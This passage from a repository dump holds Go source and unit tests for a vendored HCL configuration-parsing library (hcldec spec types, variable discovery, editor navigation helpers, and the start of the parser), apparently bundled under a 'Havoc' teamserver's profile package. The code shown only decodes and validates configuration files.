  // leaf node\n}\n\n// blockSpec implementation\nfunc (s *BlockAttrsSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema {\n    return []hcl.BlockHeaderSchema{\n        {\n            Type:       s.TypeName,\n            LabelNames: nil,\n        },\n    }\n}\n\n// blockSpec implementation\nfunc (s *BlockAttrsSpec) nestedSpec() Spec {\n    // This is an odd case: we aren't actually going to apply a nested spec\n    // in this case, since we're going to interpret the body directly as\n    // attributes, but we need to return something non-nil so that the\n    // decoder will recognize this as a block spec. We won't actually be\n    // using this for anything at decode time.\n    return noopSpec{}\n}\n\n// specNeedingVariables implementation\nfunc (s *BlockAttrsSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Traversal {\n\n    block, _ := s.findBlock(content)\n    if block == nil {\n        return nil\n    }\n\n    var vars []hcl.Traversal\n\n    attrs, diags := block.Body.JustAttributes()\n    if diags.HasErrors() {\n        return nil\n    }\n\n    for _, attr := range attrs {\n        vars = append(vars, attr.Expr.Variables()...)\n    }\n\n    // We'll return the variables references in source order so that any\n    // error messages that result are also in source order.\n    sort.Slice(vars, func(i, j int) bool {\n        return vars[i].SourceRange().Start.Byte < vars[j].SourceRange().Start.Byte\n    })\n\n    return vars\n}\n\nfunc (s *BlockAttrsSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    var diags hcl.Diagnostics\n\n    block, other := s.findBlock(content)\n    if block == nil {\n        if s.Required {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  fmt.Sprintf(\"Missing %s block\", s.TypeName),\n                Detail: fmt.Sprintf(\n                    \"A block of type %q is required here.\", s.TypeName,\n                ),\n                Subject: &content.MissingItemRange,\n            })\n        }\n        return cty.NullVal(cty.Map(s.ElementType)), diags\n    }\n    if other != nil {\n        diags = append(diags, &hcl.Diagnostic{\n            Severity: hcl.DiagError,\n            Summary:  fmt.Sprintf(\"Duplicate %s block\", s.TypeName),\n            Detail: fmt.Sprintf(\n                \"Only one block of type %q is allowed. Previous definition was at %s.\",\n                s.TypeName, block.DefRange.String(),\n            ),\n            Subject: &other.DefRange,\n        })\n    }\n\n    attrs, attrDiags := block.Body.JustAttributes()\n    diags = append(diags, attrDiags...)\n\n    if len(attrs) == 0 {\n        return cty.MapValEmpty(s.ElementType), diags\n    }\n\n    vals := make(map[string]cty.Value, len(attrs))\n    for name, attr := range attrs {\n        if decodeFn := customdecode.CustomExpressionDecoderForType(s.ElementType); decodeFn != nil {\n            attrVal, attrDiags := decodeFn(attr.Expr, ctx)\n            diags = append(diags, attrDiags...)\n            if attrVal == cty.NilVal {\n                attrVal = cty.UnknownVal(s.ElementType)\n            }\n            vals[name] = attrVal\n            continue\n        }\n\n        attrVal, attrDiags := attr.Expr.Value(ctx)\n        diags = append(diags, attrDiags...)\n\n        attrVal, err := convert.Convert(attrVal, s.ElementType)\n        if err != nil {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity:    hcl.DiagError,\n                Summary:     \"Invalid attribute value\",\n                Detail:      fmt.Sprintf(\"Invalid value for attribute of %q block: %s.\", s.TypeName, err),\n                Subject:     attr.Expr.Range().Ptr(),\n                Context:     hcl.RangeBetween(attr.NameRange, attr.Expr.Range()).Ptr(),\n                Expression:  attr.Expr,\n                EvalContext: ctx,\n            })\n            attrVal = cty.UnknownVal(s.ElementType)\n        }\n\n        vals[name] = attrVal\n    }\n\n    return cty.MapVal(vals), diags\n}\n\nfunc (s *BlockAttrsSpec) impliedType() cty.Type {\n    return cty.Map(s.ElementType)\n}\n\nfunc (s *BlockAttrsSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range {\n    block, _ := s.findBlock(content)\n    if block == nil {\n        return content.MissingItemRange\n    }\n    return block.DefRange\n}\n\nfunc (s *BlockAttrsSpec) findBlock(content *hcl.BodyContent) (block *hcl.Block, other *hcl.Block) {\n    for _, candidate := range content.Blocks {\n        if candidate.Type != s.TypeName {\n            continue\n        }\n        if block != nil {\n            return block, candidate\n        }\n        block = candidate\n    }\n\n    return block, nil\n}\n\n// A BlockLabelSpec is a Spec that returns a cty.String representing the\n// label of the block its given body belongs to, if indeed its given body\n// belongs to a block. It is a programming error to use this in a non-block\n// context, so this spec will panic in that case.\n//\n// This spec only works in the nested spec within a BlockSpec, BlockListSpec,\n// BlockSetSpec or BlockMapSpec.\n//\n// The full set of label specs used against a particular block must have a\n// consecutive set of indices starting at zero. The maximum index found\n// defines how many labels the corresponding blocks must have in cty source.\ntype BlockLabelSpec struct {\n    Index int\n    Name  string\n}\n\nfunc (s *BlockLabelSpec) visitSameBodyChildren(cb visitFunc) {\n    // leaf node\n}\n\nfunc (s *BlockLabelSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    if s.Index >= len(blockLabels) {\n        panic(\"BlockListSpec used in non-block context\")\n    }\n\n    return cty.StringVal(blockLabels[s.Index].Value), nil\n}\n\nfunc (s *BlockLabelSpec) impliedType() cty.Type {\n    return cty.String // labels are always strings\n}\n\nfunc (s *BlockLabelSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range {\n    if s.Index >= len(blockLabels) {\n        panic(\"BlockListSpec used in non-block context\")\n    }\n\n    return blockLabels[s.Index].Range\n}\n\nfunc findLabelSpecs(spec Spec) []string {\n    maxIdx := -1\n    var names map[int]string\n\n    var visit visitFunc\n    visit = func(s Spec) {\n        if ls, ok := s.(*BlockLabelSpec); ok {\n            if maxIdx < ls.Index {\n                maxIdx = ls.Index\n            }\n            if names == nil {\n                names = make(map[int]string)\n            }\n            names[ls.Index] = ls.Name\n        }\n        s.visitSameBodyChildren(visit)\n    }\n\n    visit(spec)\n\n    if maxIdx < 0 {\n        return nil // no labels at all\n    }\n\n    ret := make([]string, maxIdx+1)\n    for i := range ret {\n        name := names[i]\n        if name == \"\" {\n            // Should never happen if the spec is conformant, since we require\n            // consecutive indices starting at zero.\n            name = fmt.Sprintf(\"missing%02d\", i)\n        }\n        ret[i] = name\n    }\n\n    return ret\n}\n\n// DefaultSpec is a spec that wraps two specs, evaluating the primary first\n// and then evaluating the default if the primary returns a null value.\n//\n// The two specifications must have the same implied result type for correct\n// operation. If not, the result is undefined.\n//\n// Any requirements imposed by the \"Default\" spec apply even if \"Primary\" does\n// not return null. For example, if the \"Default\" spec is for a required\n// attribute then that attribute is always required, regardless of the result\n// of the \"Primary\" spec.\n//\n// The \"Default\" spec must not describe a nested block, since otherwise the\n// result of ChildBlockTypes would not be decidable without evaluation. If\n// the default spec _does_ describe a nested block then the result is\n// undefined.\ntype DefaultSpec struct {\n    Primary Spec\n    Default Spec\n}\n\nfunc (s *DefaultSpec) visitSameBodyChildren(cb visitFunc) {\n    cb(s.Primary)\n    cb(s.Default)\n}\n\nfunc (s *DefaultSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    val, diags := s.Primary.decode(content, blockLabels, ctx)\n    if val.IsNull() {\n        var moreDiags hcl.Diagnostics\n        val, moreDiags = s.Default.decode(content, blockLabels, ctx)\n        diags = append(diags, moreDiags...)\n    }\n    return val, diags\n}\n\nfunc (s *DefaultSpec) impliedType() cty.Type {\n    return s.Primary.impliedType()\n}\n\n// attrSpec implementation\nfunc (s *DefaultSpec) attrSchemata() []hcl.AttributeSchema {\n    // We must pass through the union of both of our nested specs so that\n    // we'll have both values available in the result.\n    var ret []hcl.AttributeSchema\n    if as, ok := s.Primary.(attrSpec); ok {\n        ret = append(ret, as.attrSchemata()...)\n    }\n    if as, ok := s.Default.(attrSpec); ok {\n        ret = append(ret, as.attrSchemata()...)\n    }\n    return ret\n}\n\n// blockSpec implementation\nfunc (s *DefaultSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema {\n    // Only the primary spec may describe a block, since otherwise\n    // our nestedSpec method below can't know which to return.\n    if bs, ok := s.Primary.(blockSpec); ok {\n        return bs.blockHeaderSchemata()\n    }\n    return nil\n}\n\n// blockSpec implementation\nfunc (s *DefaultSpec) nestedSpec() Spec {\n    if bs, ok := s.Primary.(blockSpec); ok {\n        return bs.nestedSpec()\n    }\n    return nil\n}\n\nfunc (s *DefaultSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range {\n    // We can't tell from here which of the two specs will ultimately be used\n    // in our result, so we'll just assume the first. This is usually the right\n    // choice because the default is often a literal spec that doesn't have a\n    // reasonable source range to return anyway.\n    return s.Primary.sourceRange(content, blockLabels)\n}\n\n// TransformExprSpec is a spec that wraps another and then evaluates a given\n// hcl.Expression on the result.\n//\n// The implied type of this spec is determined by evaluating the expression\n// with an unknown value of the nested spec's implied type, which may cause\n// the result to be imprecise. This spec should not be used in situations where\n// precise result type information is needed.\ntype TransformExprSpec struct {\n    Wrapped      Spec\n    Expr         hcl.Expression\n    TransformCtx *hcl.EvalContext\n    VarName      string\n}\n\nfunc (s *TransformExprSpec) visitSameBodyChildren(cb visitFunc) {\n    cb(s.Wrapped)\n}\n\nfunc (s *TransformExprSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    wrappedVal, diags := s.Wrapped.decode(content, blockLabels, ctx)\n    if diags.HasErrors() {\n        // We won't try to run our function in this case, because it'll probably\n        // generate confusing additional errors that will distract from the\n        // root cause.\n        return cty.UnknownVal(s.impliedType()), diags\n    }\n\n    chiCtx := s.TransformCtx.NewChild()\n    chiCtx.Variables = map[string]cty.Value{\n        s.VarName: wrappedVal,\n    }\n    resultVal, resultDiags := s.Expr.Value(chiCtx)\n    diags = append(diags, resultDiags...)\n    return resultVal, diags\n}\n\nfunc (s *TransformExprSpec) impliedType() cty.Type {\n    wrappedTy := s.Wrapped.impliedType()\n    chiCtx := s.TransformCtx.NewChild()\n    chiCtx.Variables = map[string]cty.Value{\n        s.VarName: cty.UnknownVal(wrappedTy),\n    }\n    resultVal, _ := s.Expr.Value(chiCtx)\n    return resultVal.Type()\n}\n\nfunc (s *TransformExprSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range {\n    // We'll just pass through our wrapped range here, even though that's\n    // not super-accurate, because there's nothing better to return.\n    return s.Wrapped.sourceRange(content, blockLabels)\n}\n\n// TransformFuncSpec is a spec that wraps another and then evaluates a given\n// cty function with the result. The given function must expect exactly one\n// argument, where the result of the wrapped spec will be passed.\n//\n// The implied type of this spec is determined by type-checking the function\n// with an unknown value of the nested spec's implied type, which may cause\n// the result to be imprecise. This spec should not be used in situations where\n// precise result type information is needed.\n//\n// If the given function produces an error when run, this spec will produce\n// a non-user-actionable diagnostic message. It's the caller's responsibility\n// to ensure that the given function cannot fail for any non-error result\n// of the wrapped spec.\ntype TransformFuncSpec struct {\n    Wrapped Spec\n    Func    function.Function\n}\n\nfunc (s *TransformFuncSpec) visitSameBodyChildren(cb visitFunc) {\n    cb(s.Wrapped)\n}\n\nfunc (s *TransformFuncSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    wrappedVal, diags := s.Wrapped.decode(content, blockLabels, ctx)\n    if diags.HasErrors() {\n        // We won't try to run our function in this case, because it'll probably\n        // generate confusing additional errors that will distract from the\n        // root cause.\n        return cty.UnknownVal(s.impliedType()), diags\n    }\n\n    resultVal, err := s.Func.Call([]cty.Value{wrappedVal})\n    if err != nil {\n        // This is not a good example of a diagnostic because it is reporting\n        // a programming error in the calling application, rather than something\n        // an end-user could act on.\n        diags = append(diags, &hcl.Diagnostic{\n            Severity: hcl.DiagError,\n            Summary:  \"Transform function failed\",\n            Detail:   fmt.Sprintf(\"Decoder transform returned an error: %s\", err),\n            Subject:  s.sourceRange(content, blockLabels).Ptr(),\n        })\n        return cty.UnknownVal(s.impliedType()), diags\n    }\n\n    return resultVal, diags\n}\n\nfunc (s *TransformFuncSpec) impliedType() cty.Type {\n    wrappedTy := s.Wrapped.impliedType()\n    resultTy, err := s.Func.ReturnType([]cty.Type{wrappedTy})\n    if err != nil {\n        // Should never happen with a correctly-configured spec\n        return cty.DynamicPseudoType\n    }\n\n    return resultTy\n}\n\nfunc (s *TransformFuncSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range {\n    // We'll just pass through our wrapped range here, even though that's\n    // not super-accurate, because there's nothing better to return.\n    return s.Wrapped.sourceRange(content, blockLabels)\n}\n\n// ValidateFuncSpec is a spec that allows for extended\n// developer-defined validation. The validation function receives the\n// result of the wrapped spec.\n//\n// The Subject field of the returned Diagnostic is optional. If not\n// specified, it is automatically populated with the range covered by\n// the wrapped spec.\n//\ntype ValidateSpec struct {\n    Wrapped Spec\n    Func    func(value cty.Value) hcl.Diagnostics\n}\n\nfunc (s *ValidateSpec) visitSameBodyChildren(cb visitFunc) {\n    cb(s.Wrapped)\n}\n\nfunc (s *ValidateSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    wrappedVal, diags := s.Wrapped.decode(content, blockLabels, ctx)\n    if diags.HasErrors() {\n        // We won't try to run our function in this case, because it'll probably\n        // generate confusing additional errors that will distract from the\n        // root cause.\n        return cty.UnknownVal(s.impliedType()), diags\n    }\n\n    validateDiags := s.Func(wrappedVal)\n    // Auto-populate the Subject fields if they weren't set.\n    for i := range validateDiags {\n        if validateDiags[i].Subject == nil {\n            validateDiags[i].Subject = s.sourceRange(content, blockLabels).Ptr()\n        }\n    }\n\n    diags = append(diags, validateDiags...)\n    return wrappedVal, diags\n}\n\nfunc (s *ValidateSpec) impliedType() cty.Type {\n    return s.Wrapped.impliedType()\n}\n\nfunc (s *ValidateSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range {\n    return s.Wrapped.sourceRange(content, blockLabels)\n}\n\n// noopSpec is a placeholder spec that does nothing, used in situations where\n// a non-nil placeholder spec is required. It is not exported because there is\n// no reason to use it directly; it is always an implementation detail only.\ntype noopSpec struct {\n}\n\nfunc (s noopSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    return cty.NullVal(cty.DynamicPseudoType), nil\n}\n\nfunc (s noopSpec) impliedType() cty.Type {\n    return cty.DynamicPseudoType\n}\n\nfunc (s noopSpec) visitSameBodyChildren(cb visitFunc) {\n    // nothing to do\n}\n\nfunc (s noopSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range {\n    // No useful range for a noopSpec, and nobody should be calling this anyway.\n    return hcl.Range{\n        Filename: \"noopSpec\",\n    }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hcldec/spec_test.go",
    "content": "package hcldec\n\nimport (\n    \"fmt\"\n    \"reflect\"\n    \"testing\"\n\n    \"github.com/apparentlymart/go-dump/dump\"\n    \"github.com/zclconf/go-cty/cty\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n)\n\n// Verify that all of our spec types implement the necessary interfaces\nvar _ Spec = ObjectSpec(nil)\nvar _ Spec = TupleSpec(nil)\nvar _ Spec = (*AttrSpec)(nil)\nvar _ Spec = (*LiteralSpec)(nil)\nvar _ Spec = (*ExprSpec)(nil)\nvar _ Spec = (*BlockSpec)(nil)\nvar _ Spec = (*BlockListSpec)(nil)\nvar _ Spec = (*BlockSetSpec)(nil)\nvar _ Spec = (*BlockMapSpec)(nil)\nvar _ Spec = (*BlockAttrsSpec)(nil)\nvar _ Spec = (*BlockLabelSpec)(nil)\nvar _ Spec = (*DefaultSpec)(nil)\nvar _ Spec = (*TransformExprSpec)(nil)\nvar _ Spec = (*TransformFuncSpec)(nil)\nvar _ Spec = (*ValidateSpec)(nil)\n\nvar _ attrSpec = (*AttrSpec)(nil)\nvar _ attrSpec = (*DefaultSpec)(nil)\n\nvar _ blockSpec = (*BlockSpec)(nil)\nvar _ blockSpec = (*BlockListSpec)(nil)\nvar _ blockSpec = (*BlockSetSpec)(nil)\nvar _ blockSpec = (*BlockMapSpec)(nil)\nvar _ blockSpec = (*BlockAttrsSpec)(nil)\nvar _ blockSpec = (*DefaultSpec)(nil)\n\nvar _ specNeedingVariables = (*AttrSpec)(nil)\nvar _ specNeedingVariables = (*BlockSpec)(nil)\nvar _ specNeedingVariables = (*BlockListSpec)(nil)\nvar _ specNeedingVariables = (*BlockSetSpec)(nil)\nvar _ specNeedingVariables = (*BlockMapSpec)(nil)\nvar _ specNeedingVariables = (*BlockAttrsSpec)(nil)\n\nfunc TestDefaultSpec(t *testing.T) {\n    config := `\nfoo = fooval\nbar = barval\n`\n    f, diags := hclsyntax.ParseConfig([]byte(config), \"\", hcl.Pos{Line: 1, Column: 1})\n    if diags.HasErrors() {\n        t.Fatal(diags.Error())\n    }\n\n    t.Run(\"primary set\", func(t *testing.T) {\n        spec := &DefaultSpec{\n            Primary: &AttrSpec{\n                Name: \"foo\",\n                Type: cty.String,\n            },\n            Default: &AttrSpec{\n                Name: \"bar\",\n                Type: cty.String,\n            },\n        }\n\n        gotVars := Variables(f.Body, spec)\n        wantVars := []hcl.Traversal{\n            {\n                hcl.TraverseRoot{\n                    Name: \"fooval\",\n                    SrcRange: hcl.Range{\n                        Filename: \"\",\n                        Start:    hcl.Pos{Line: 2, Column: 7, Byte: 7},\n                        End:      hcl.Pos{Line: 2, Column: 13, Byte: 13},\n                    },\n                },\n            },\n            {\n                hcl.TraverseRoot{\n                    Name: \"barval\",\n                    SrcRange: hcl.Range{\n                        Filename: \"\",\n                        Start:    hcl.Pos{Line: 3, Column: 7, Byte: 20},\n                        End:      hcl.Pos{Line: 3, Column: 13, Byte: 26},\n                    },\n                },\n            },\n        }\n        if !reflect.DeepEqual(gotVars, wantVars) {\n            t.Errorf(\"wrong Variables result\\ngot: %s\\nwant: %s\", dump.Value(gotVars), dump.Value(wantVars))\n        }\n\n        ctx := &hcl.EvalContext{\n            Variables: map[string]cty.Value{\n                \"fooval\": cty.StringVal(\"foo value\"),\n                \"barval\": cty.StringVal(\"bar value\"),\n            },\n        }\n\n        got, err := Decode(f.Body, spec, ctx)\n        if err != nil {\n            t.Fatal(err)\n        }\n        want := cty.StringVal(\"foo value\")\n        if !got.RawEquals(want) {\n            t.Errorf(\"wrong Decode result\\ngot:  %#v\\nwant: %#v\", got, want)\n        }\n    })\n\n    t.Run(\"primary not set\", func(t *testing.T) {\n        spec := &DefaultSpec{\n            Primary: &AttrSpec{\n                Name: \"foo\",\n                Type: cty.String,\n            },\n            Default: &AttrSpec{\n                Name: \"bar\",\n                Type: cty.String,\n            },\n        }\n\n        ctx := &hcl.EvalContext{\n            Variables: map[string]cty.Value{\n                \"fooval\": cty.NullVal(cty.String),\n                \"barval\": cty.StringVal(\"bar value\"),\n            },\n        }\n\n        got, err := Decode(f.Body, spec, ctx)\n        if err != nil {\n            t.Fatal(err)\n        }\n        want := cty.StringVal(\"bar value\")\n        if !got.RawEquals(want) {\n            t.Errorf(\"wrong Decode result\\ngot:  %#v\\nwant: %#v\", got, want)\n        }\n    })\n}\n\nfunc TestValidateFuncSpec(t *testing.T) {\n    config := `\nfoo = \"invalid\"\n`\n    f, diags := hclsyntax.ParseConfig([]byte(config), \"\", hcl.Pos{Line: 1, Column: 1})\n    if diags.HasErrors() {\n        t.Fatal(diags.Error())\n    }\n\n    expectRange := map[string]*hcl.Range{\n        \"without_range\": nil,\n        \"with_range\": &hcl.Range{\n            Filename: \"foobar\",\n            Start:    hcl.Pos{Line: 99, Column: 99},\n            End:      hcl.Pos{Line: 999, Column: 999},\n        },\n    }\n\n    for name := range expectRange {\n        t.Run(name, func(t *testing.T) {\n            spec := &ValidateSpec{\n                Wrapped: &AttrSpec{\n                    Name: \"foo\",\n                    Type: cty.String,\n                },\n                Func: func(value cty.Value) hcl.Diagnostics {\n                    if value.AsString() != \"invalid\" {\n                        return hcl.Diagnostics{\n                            &hcl.Diagnostic{\n                                Severity: hcl.DiagError,\n                                Summary:  \"incorrect value\",\n                                Detail:   fmt.Sprintf(\"invalid value passed in: %s\", value.GoString()),\n                            },\n                        }\n                    }\n\n                    return hcl.Diagnostics{\n                        &hcl.Diagnostic{\n                            Severity: hcl.DiagWarning,\n                            Summary:  \"OK\",\n                            Detail:   \"validation called correctly\",\n                            Subject:  expectRange[name],\n                        },\n                    }\n                },\n            }\n\n            _, diags = Decode(f.Body, spec, nil)\n            if len(diags) != 1 ||\n                diags[0].Severity != hcl.DiagWarning ||\n                diags[0].Summary != \"OK\" ||\n                diags[0].Detail != \"validation called correctly\" {\n                t.Fatalf(\"unexpected diagnostics: %s\", diags.Error())\n            }\n\n            if expectRange[name] == nil && diags[0].Subject == nil {\n                t.Fatal(\"returned diagnostic subject missing\")\n            }\n\n            if expectRange[name] != nil && !reflect.DeepEqual(expectRange[name], diags[0].Subject) {\n                t.Fatalf(\"expected range %s, got range %s\", expectRange[name], diags[0].Subject)\n            }\n        })\n    }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hcldec/variables.go",
    "content": "package hcldec\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n)\n\n// Variables processes the given body with the given spec and returns a\n// list of the variable traversals that would be required to decode\n// the same pairing of body and spec.\n//\n// This can be used to conditionally populate the variables in the EvalContext\n// passed to Decode, for applications where a static scope is insufficient.\n//\n// If the given body is not compliant with the given schema, the result may\n// be incomplete, but that's assumed to be okay because the eventual call\n// to Decode will produce error diagnostics anyway.\nfunc Variables(body hcl.Body, spec Spec) []hcl.Traversal {\n    var vars []hcl.Traversal\n    schema := ImpliedSchema(spec)\n    content, _, _ := body.PartialContent(schema)\n\n    if vs, ok := spec.(specNeedingVariables); ok {\n        vars = append(vars, vs.variablesNeeded(content)...)\n    }\n\n    var visitFn visitFunc\n    visitFn = func(s Spec) {\n        if vs, ok := s.(specNeedingVariables); ok {\n            vars = append(vars, vs.variablesNeeded(content)...)\n        }\n        s.visitSameBodyChildren(visitFn)\n    }\n    spec.visitSameBodyChildren(visitFn)\n\n    return vars\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hcldec/variables_test.go",
    "content": "package hcldec\n\nimport (\n    \"fmt\"\n    \"reflect\"\n    \"testing\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\nfunc TestVariables(t *testing.T) {\n    tests := []struct {\n        config string\n        spec   Spec\n        want   []hcl.Traversal\n    }{\n        {\n            ``,\n            &ObjectSpec{},\n            nil,\n        },\n        {\n            \"a = foo\\n\",\n            &ObjectSpec{},\n            nil, // \"a\" is not actually used, so \"foo\" is not required\n        },\n        {\n            \"a = foo\\n\",\n            &AttrSpec{\n                Name: \"a\",\n            },\n            []hcl.Traversal{\n                {\n                    hcl.TraverseRoot{\n                        Name: \"foo\",\n                        SrcRange: hcl.Range{\n                            Start: hcl.Pos{Line: 1, Column: 5, Byte: 4},\n                            End:   hcl.Pos{Line: 1, Column: 8, Byte: 7},\n                        },\n                    },\n                },\n            },\n        },\n        {\n            \"a = foo\\nb = bar\\n\",\n            &DefaultSpec{\n                Primary: &AttrSpec{\n                    Name: \"a\",\n                },\n                Default: &AttrSpec{\n                    Name: \"b\",\n                },\n            },\n            []hcl.Traversal{\n                {\n                    hcl.TraverseRoot{\n                        Name: \"foo\",\n                        SrcRange: hcl.Range{\n                            Start: hcl.Pos{Line: 1, Column: 5, Byte: 4},\n                            End:   hcl.Pos{Line: 1, Column: 8, Byte: 7},\n                        },\n                    },\n                },\n                {\n                    hcl.TraverseRoot{\n                        Name: \"bar\",\n                        SrcRange: hcl.Range{\n                            Start: hcl.Pos{Line: 2, Column: 5, Byte: 12},\n                            End:   hcl.Pos{Line: 2, Column: 8, Byte: 15},\n                        },\n                    },\n                },\n            },\n        },\n        {\n            \"a = foo\\n\",\n            &ObjectSpec{\n                \"a\": &AttrSpec{\n                    Name: \"a\",\n                },\n            },\n            []hcl.Traversal{\n                {\n                    hcl.TraverseRoot{\n                        Name: \"foo\",\n                        SrcRange: hcl.Range{\n                            Start: hcl.Pos{Line: 1, Column: 5, Byte: 4},\n                            End:   hcl.Pos{Line: 1, Column: 8, Byte: 7},\n                        },\n                    },\n                },\n            },\n        },\n        {\n            `\nb {\n  a = foo\n}\n`,\n            &BlockSpec{\n                TypeName: \"b\",\n                Nested: &AttrSpec{\n                    Name: \"a\",\n                },\n            },\n            []hcl.Traversal{\n                {\n                    hcl.TraverseRoot{\n                        Name: \"foo\",\n                        SrcRange: hcl.Range{\n                            Start: hcl.Pos{Line: 3, Column: 7, Byte: 11},\n                            End:   hcl.Pos{Line: 3, Column: 10, Byte: 14},\n                        },\n                    },\n                },\n            },\n        },\n        {\n            `\nb {\n  a = foo\n  b = bar\n}\n`,\n            &BlockAttrsSpec{\n                TypeName:    \"b\",\n                ElementType: cty.String,\n            },\n            []hcl.Traversal{\n                {\n                    hcl.TraverseRoot{\n                        Name: \"foo\",\n                        SrcRange: hcl.Range{\n                            Start: hcl.Pos{Line: 3, Column: 7, Byte: 11},\n                            End:   hcl.Pos{Line: 3, Column: 10, Byte: 14},\n                        },\n                    },\n                },\n                {\n                    hcl.TraverseRoot{\n                        Name: \"bar\",\n                        SrcRange: hcl.Range{\n                            Start: hcl.Pos{Line: 4, Column: 7, Byte: 21},\n                            End:   hcl.Pos{Line: 4, Column: 10, Byte: 24},\n                        },\n                    },\n                },\n            },\n        },\n        {\n            `\nb {\n  a = foo\n}\nb {\n  a = bar\n}\nc {\n  a = baz\n}\n`,\n            &BlockListSpec{\n                TypeName: \"b\",\n                Nested: &AttrSpec{\n                    Name: \"a\",\n                },\n            },\n            []hcl.Traversal{\n                {\n                    hcl.TraverseRoot{\n                        Name: \"foo\",\n                        SrcRange: hcl.Range{\n                            Start: hcl.Pos{Line: 3, Column: 7, Byte: 11},\n                            End:   hcl.Pos{Line: 3, Column: 10, Byte: 14},\n                        },\n                    },\n                },\n                {\n                    hcl.TraverseRoot{\n                        Name: \"bar\",\n                        SrcRange: hcl.Range{\n                            Start: hcl.Pos{Line: 6, Column: 7, Byte: 27},\n                            End:   hcl.Pos{Line: 6, Column: 10, Byte: 30},\n                        },\n                    },\n                },\n            },\n        },\n    }\n\n    for i, test := range tests {\n        t.Run(fmt.Sprintf(\"%02d-%s\", i, test.config), func(t *testing.T) {\n            file, diags := hclsyntax.ParseConfig([]byte(test.config), \"\", hcl.Pos{Line: 1, Column: 1, Byte: 0})\n            if len(diags) != 0 {\n                t.Errorf(\"wrong number of diagnostics from ParseConfig %d; want %d\", len(diags), 0)\n                for _, diag := range diags {\n                    t.Logf(\" - %s\", diag.Error())\n                }\n            }\n            body := file.Body\n\n            got := Variables(body, test.spec)\n\n            if !reflect.DeepEqual(got, test.want) {\n                t.Errorf(\"wrong result\\ngot:  %#v\\nwant: %#v\", got, test.want)\n            }\n        })\n    }\n\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hcled/doc.go",
    "content": "// Package hcled provides functionality intended to help an application\n// that embeds HCL to deliver relevant information to a text editor or IDE\n// for navigating around and analyzing configuration files.\npackage hcled\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hcled/navigation.go",
    "content": "package hcled\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n)\n\ntype contextStringer interface {\n    ContextString(offset int) string\n}\n\n// ContextString returns a string describing the context of the given byte\n// offset, if available. An empty string is returned if no such information\n// is available, or otherwise the returned string is in a form that depends\n// on the language used to write the referenced file.\nfunc ContextString(file *hcl.File, offset int) string {\n    if cser, ok := file.Nav.(contextStringer); ok {\n        return cser.ContextString(offset)\n    }\n    return \"\"\n}\n\ntype contextDefRanger interface {\n    ContextDefRange(offset int) hcl.Range\n}\n\nfunc ContextDefRange(file *hcl.File, offset int) hcl.Range {\n    if cser, ok := file.Nav.(contextDefRanger); ok {\n        defRange := cser.ContextDefRange(offset)\n        if !defRange.Empty() {\n            return defRange\n        }\n    }\n    return file.Body.MissingItemRange()\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclparse/parser.go",
    "content": "// Package hclparse has the main API entry point for parsing both HCL native\n// syntax and HCL JSON.\n//\n// The main HCL package also includes SimpleParse and SimpleParseFile which\n// can be a simpler interface for the common case where an application just\n// needs to parse a single file. The gohcl package simplifies that further\n// in its SimpleDecode function, which combines hcl.SimpleParse with decoding\n// into Go struct values\n//\n// Package hclparse, then, is useful for applications that require more fine\n// control over parsing or which need to load many separate files and keep\n// track of them for possible error reporting or other analysis.\npackage hclparse\n\nimport (\n    \"fmt\"\n    \"io/ioutil\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n    \"Havoc/pkg/profile/yaotl/json\"\n)\n\n// NOTE: This is the public interface for parsing. The actual parsers are\n// in other packages alongside this one, with this package just wrapping them\n// to provide a unified interface for the caller across all supported formats.\n\n// Parser is the main interface for parsing configuration files. As well as\n// parsing files, a parser also retains a registry of all of the files it\n// has parsed so that multiple attempts to parse the same file will return\n// the same object and so the collected files can be used when printing\n// diagnostics.\n//\n// Any diagnostics for parsing a file are only returned once on the first\n// call to parse that file. Callers are expected to collect up diagnostics\n// and present them together, so returning diagnostics for the same file\n// multiple times would create a confusing result.\ntype Parser struct {\n    files map[string]*hcl.File\n}\n\n// NewParser creates a new parser, ready to parse configuration files.\nfunc NewParser() *Parser {\n    return &Parser{\n        files: map[string]*hcl.File{},\n    